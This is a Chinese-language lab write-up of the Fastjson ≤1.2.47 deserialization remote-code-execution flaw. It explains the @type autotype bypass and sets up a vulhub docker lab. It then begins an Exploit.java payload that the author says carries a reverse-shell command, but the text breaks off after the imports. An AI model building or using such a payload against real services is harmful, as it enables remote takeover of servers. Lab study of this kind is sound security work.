Fastjson≤1.2.47 RCE
一、漏洞介绍
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
影响版本:
Fastjson1.2.47以及之前的版本
二、漏洞危害
远程命令执行。
三、漏洞验证
环境搭建:
实验环境 | 系统 | IP地址 |
---|---|---|
攻击机 | win10 | 192.168.134.130 |
靶机 | Centos7 | 192.168.134.133 |
docker pull vulhub/fastjson #拉取镜像
docker run -d -p 8080:8080 -p 8443:8443 initidc/fastjson1.2.47_rce #连接容器
验证一下环境是否正常:
漏洞复现
编译生成payload
首先将以下代码保存为Exploit.java(反弹shell命令在代码内,可自行调整)
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public